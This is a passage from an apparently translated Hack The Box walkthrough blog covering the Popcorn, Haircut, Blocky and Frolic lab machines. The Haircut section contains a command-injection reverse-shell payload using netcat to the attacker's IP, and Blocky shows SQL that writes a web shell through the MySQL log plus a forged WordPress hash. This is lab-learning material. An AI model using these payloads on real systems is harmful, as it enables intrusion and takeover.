decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0288.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0289.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to check them one by one.&lt;/p&gt;&#10;&lt;p&gt;mysqld_safe wasn&amp;rsquo;t in a scheduled task and had no SUID bit.&lt;/p&gt;&#10;&lt;p&gt;The second item suggested that we could run sudo without a password, but it kept asking me for one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0290.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had no permission for the third item.&lt;/p&gt;&#10;&lt;p&gt;pspy32 didn&amp;rsquo;t show any other processes running.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0291.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0292.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had checked almost everything and found nothing exploitable. The only thing left was torrenthoster.zip in George&amp;rsquo;s directory.&lt;/p&gt;&#10;&lt;p&gt;I downloaded and inspected it, but it had nothing either.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck. All I knew was that it claimed sudo needed no password, yet it required one whenever I used it.&lt;/p&gt;&#10;&lt;p&gt;The only option left was searchsploit. I found several scripts and uploaded them one by one to scan.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0293.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0294.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The others wouldn&amp;rsquo;t run, but this one looked interesting. It found everything and merely told us the password was wrong. Let&amp;rsquo;s read the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0295.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After reading it, I realized it meant exactly what it said: just enter toor.&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation succeeded. This box was moderately difficult and broadened my thinking.&lt;/p&gt;&#10;&lt;p&gt;Done. Time to read a write-up.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0296.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The privilege-escalation method was different.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0297.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After looking at this script, I can only say my search method still needs work. I shouldn&amp;rsquo;t always include ubuntu; searching for the kernel can uncover other things too.&lt;/p&gt;&#10;&lt;p&gt;I also only just remembered this was Dirty COW, one of the most classic privilege-escalation exploits.&lt;/p&gt;&#10;&lt;p&gt;As for the exploit I used, they found it based on .cache/motd.legal-displayed, while I searched directly by the Ubuntu version.&lt;/p&gt;&#10;&lt;p&gt;My methodology wasn&amp;rsquo;t complete; I just got lucky. Everything else was much the same. That&amp;rsquo;s the end.&lt;/p&gt;&#10;&lt;h2 id="15haircut"&gt;&lt;a href="#15haircut" class="header-anchor"&gt;&lt;/a&gt;15.Haircut&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0298.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0299.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll stick to the key points again. There were three sites and an uploads directory.&lt;/p&gt;&#10;&lt;p&gt;The three sites contained three images and nothing else. I checked every image and found nothing.&lt;/p&gt;&#10;&lt;p&gt;uploads403&lt;/p&gt;&#10;&lt;p&gt;exposed.php had an obvious command-injection vulnerability, since I had encountered it on a previous box.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0300.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0301.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was $ command injection again. Many things were blocked, but netcat wasn&amp;rsquo;t. A connection attempt produced output, so I started building a reverse-shell payload.&lt;/p&gt;&#10;&lt;p&gt;[http://localhost/test.html$(netcat](http://localhost/test.html$(netcat) 10.10.16.13 9999 -c sh)&lt;/p&gt;&#10;&lt;p&gt;That pops a shell directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0302.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I can feel myself getting increasingly comfortable with these boxes.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation and information gathering.&lt;/p&gt;&#10;&lt;p&gt;First spawn a TTY: python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0303.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The user.txt in Maria&amp;rsquo;s directory differed from the one on the Desktop.&lt;/p&gt;&#10;&lt;p&gt;0b0da2af50e9ab7c81a6ec2c562afeae&lt;/p&gt;&#10;&lt;p&gt;152294df041b51863cc9c7b5a52938f2&#9;# This is the one Hack The Box accepts&lt;/p&gt;&#10;&lt;p&gt;I ran LinEnum. It reported the kernel version, and I found an exploit for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0304.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0305.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. This box was fairly conventional; it only took me 50 minutes.&lt;/p&gt;&#10;&lt;p&gt;Still, I needed to read a write-up to learn other approaches. They found Screen 4.5.0 through SUID enumeration and escalated privileges with an exploit for it.&lt;/p&gt;&#10;&lt;p&gt;Their foothold method was to access an HTTP server they controlled and use -o to write the output to a PHP file. I barely found anyone using the same approach as mine.&lt;/p&gt;&#10;&lt;p&gt;Screen 4.5.0 is actually interesting, so I&amp;rsquo;ll give it a try.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0306.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even without the earlier privilege escalation, this file would have caught my attention. A normal system doesn&amp;rsquo;t include it, and it even displays a version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0307.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;payload&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0308.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0309.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The error only says a file is missing.&lt;/p&gt;&#10;&lt;p&gt;It still failed. Let&amp;rsquo;s read the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0310.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It isn&amp;rsquo;t hard to understand. Compile it myself and then try it on the target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0311.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was a warning, not an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0312.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Again, only a warning. The -static option is mainly added because GCC versions differ and other systems may otherwise produce errors.&lt;/p&gt;&#10;&lt;p&gt;Transfer it to the target and run the commands one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0313.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;As expected, it still failed.&lt;/del&gt; After analyzing the code, I realized that I did not understand the vulnerability used by libhax—the low-level details are still a bit beyond me. The exploit changes rootshell&amp;rsquo;s owner to root and sets its permissions to 755, so running rootshell gives us root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;It now looked like the problem had always been with libhax, so I investigated it.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;There was actually no problem. I had mistyped the name: I used libhex.so instead of libhax.so. After correcting it, everything ran normally.&lt;/p&gt;&#10;&lt;p&gt;Following the commands successfully gave me root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0314.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s everything.&lt;/p&gt;&#10;&lt;h2 id="16blocky"&gt;&lt;a href="#16blocky" class="header-anchor"&gt;&lt;/a&gt;16.Blocky&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0315.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0316.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0317.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll get straight to the conclusion again.&lt;/p&gt;&#10;&lt;p&gt;There was no vulnerability on port 21. Version 1.3.5 has an exploit that allows unauthenticated file moves, but after trying three exploits and manually testing and reading the code, I found that this target wasn&amp;rsquo;t vulnerable at all.&lt;/p&gt;&#10;&lt;p&gt;Port 22 revealed no information.&lt;/p&gt;&#10;&lt;p&gt;Port 80 hosted WordPress. I tested WordPress for a long time without success. It also had phpMyAdmin 4.5.4.1, but there were no relevant vulnerabilities.&lt;/p&gt;&#10;&lt;p&gt;WordPress had two users, though that wasn&amp;rsquo;t important.&lt;/p&gt;&#10;&lt;p&gt;There was nothing else.&lt;/p&gt;&#10;&lt;p&gt;That left directory brute-forcing, and sure enough it found something. Minecraft is compiled with Java, and I found two JAR files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0318.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I reversed them directly. I had expected to need a Java code audit, but I didn&amp;rsquo;t.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0319.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;These credentials let me log in to phpMyAdmin.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0320.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are many ways to get RCE from the backend.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0321.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Writing files was banned.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variables&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%general%&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--Check the configuration, whether logging is enabled, and the default MySQL log path; save the original path for restoration&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;general_log&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--Enable logging, which is disabled by default; leaving it enabled can create a very large file&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;general_log_file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/var/www/html/info.php&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#9;&#9;&lt;/span&gt;&lt;span class="c1"&gt;--Set the log path&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This method could still write, but the absolute path was always wrong. I then spent a long time trying to find the absolute path.&lt;/p&gt;&#10;&lt;p&gt;Eventually I ran out of options and suddenly realized that if phpMyAdmin couldn&amp;rsquo;t write a shell, I could use the WordPress backend to find the absolute path—or simply get a shell through the backend itself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0322.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Change the first field to md5 and put the password in the second.&lt;/p&gt;&#10;&lt;p&gt;It automatically generates a salted password. I generated this one from password:&lt;/p&gt;&#10;&lt;p&gt;$P$Bmf0.aAqKmYZ9zmcrtFLx8kjh32HaT1&lt;/p&gt;&#10;&lt;p&gt;It can be used directly to log in as Notch/password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0323.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The template could be edited directly. I constructed the URL and got a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php" target="_blank" rel="noopener"&#10; &gt;http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0324.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once I was in, the first thing I did was check the absolute path. This was the path I had entered from the beginning, so why couldn&amp;rsquo;t SQL write to it?&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0325.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was obvious now: the web directory didn&amp;rsquo;t grant write permission to other users, so naturally it couldn&amp;rsquo;t write there.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation and information gathering.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0326.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a user named notch. I had deleted its password from the database. If that password could be cracked, perhaps I could su to it here.&lt;/p&gt;&#10;&lt;p&gt;Nothing was certain, so I checked each possibility. sudo was unusable for now because it required a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0327.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This kernel looked very familiar. I uploaded an exploit script directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0328.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0329.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. It was conventional penetration testing all the way through, with no unexpected services or anything else.&lt;/p&gt;&#10;&lt;p&gt;I did fall into quite a few traps, though, which wasted a lot of time. I need to pick up the pace.&lt;/p&gt;&#10;&lt;h2 id="17frolic"&gt;&lt;a href="#17frolic" class="header-anchor"&gt;&lt;/a&gt;17.Frolic&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0330.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0331.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0332.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0333.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on SMB.&lt;/p&gt;&#10;&lt;p&gt;Port 1880:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0334.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there, and directory brute-forcing only returned 401. I then guessed the password correctly: admin/password, sent to the /auth/token endpoint.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0335.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Requesting it directly returned nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0336.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After modifying the request, it returned 401. I couldn&amp;rsquo;t find anything else in Node-RED. These were the directory brute-force results.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0337.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 9999:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0338.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;/admin used client-side validation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0339.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0340.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is what appears after a successful login.&lt;/p&gt;&#10;&lt;p&gt;/test is phpinfo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0341.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.111:9999/backup/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.111:9999/backup/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This directory contains three things: user.txt, password.txt, and the /loop directory.&lt;/p&gt;&#10;&lt;p&gt;The credentials from user/password were admin/imnothuman.&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find a use for them.&lt;/p&gt;&#10;&lt;p&gt;The other directories, /loop and /dev, both returned 403.&lt;/p&gt;&#10;&lt;p&gt;There was also UDP port 137. I searched for and tried a PoC, but it had no effect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0342.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I brute-forced both 403 directories because I hadn&amp;rsquo;t enabled recursion.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0343.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0344.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a directory and accessed it successfully, but none of the passwords I had obtained could log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0345.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0346.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were lots of exploits, so this was probably the real entry point. However, I didn&amp;rsquo;t know the version. I could either try every exploit or look for the version.&lt;/p&gt;&#10;&lt;p&gt;I deliberately downloaded a version from GitHub to compare.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0347.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every directory&amp;rsquo;s index.html was empty, so I couldn&amp;rsquo;t find the version number.&lt;/p&gt;&#10;&lt;p&gt;Then let&amp;rsquo;s just try exploits, following this tutorial: &lt;a class="link" href="https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90" target="_blank" rel="noopener"&#10; &gt;https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.111:9999/playsms/index.php?app=main&amp;amp;inc=core_auth&amp;amp;route=register" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.111:9999/playsms/index.php?app=main&amp;amp;inc=core_auth&amp;amp;route=register&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Registration is available here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0348.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0349.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I was banned, but at least I now knew the directory structure. Surely I wasn&amp;rsquo;t expected to discover a new vulnerability; this should still be exploitable with an n-day.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0350.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll summarize them in reverse order.&lt;/p&gt;&#10;&lt;p&gt;48199.txt requires a login and is Metasploit code.&lt;/p&gt;&#10;&lt;p&gt;42038.txt requires logging in as a normal user, but we already tried and couldn&amp;rsquo;t register.&lt;/p&gt;&#10;&lt;p&gt;44599.rb is a Metasploit script, so I skipped it.&lt;/p&gt;&#10;&lt;p&gt;42044.txt only requires a normal user login and says registration is possible, but we couldn&amp;rsquo;t register.&lt;/p&gt;&#10;&lt;p&gt;42003.txt also requires a normal user login.&lt;/p&gt;&#10;&lt;p&gt;The path in 17792.txt didn&amp;rsquo;t exist on the site or in my source-tree copy. This basically confirmed that the target&amp;rsquo;s version was newer than the one targeted by 17792.txt, meaning newer than 0.9.9.2.&lt;/p&gt;&#10;&lt;p&gt;None of the bundled exploits worked.&lt;/p&gt;&#10;&lt;p&gt;I searched Google and looked for default credentials.&lt;/p&gt;&#10;&lt;p&gt;Several PoCs failed, and the default admin:admin credentials didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;At this point I suspected it was another dead end like the earlier ones, with no use at all.&lt;/p&gt;&#10;&lt;p&gt;In the end, this was the only directory I found.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0351.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I still hadn&amp;rsquo;t tried SSH, so I went back to test it, but that also failed.&lt;/p&gt;&#10;&lt;p&gt;I tried all three passwords against Samba as well, but none worked, and there were no other shares to connect to.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0352.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing gave another result: loop seemed to repeat through many levels, so I kept appending loop to the path.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 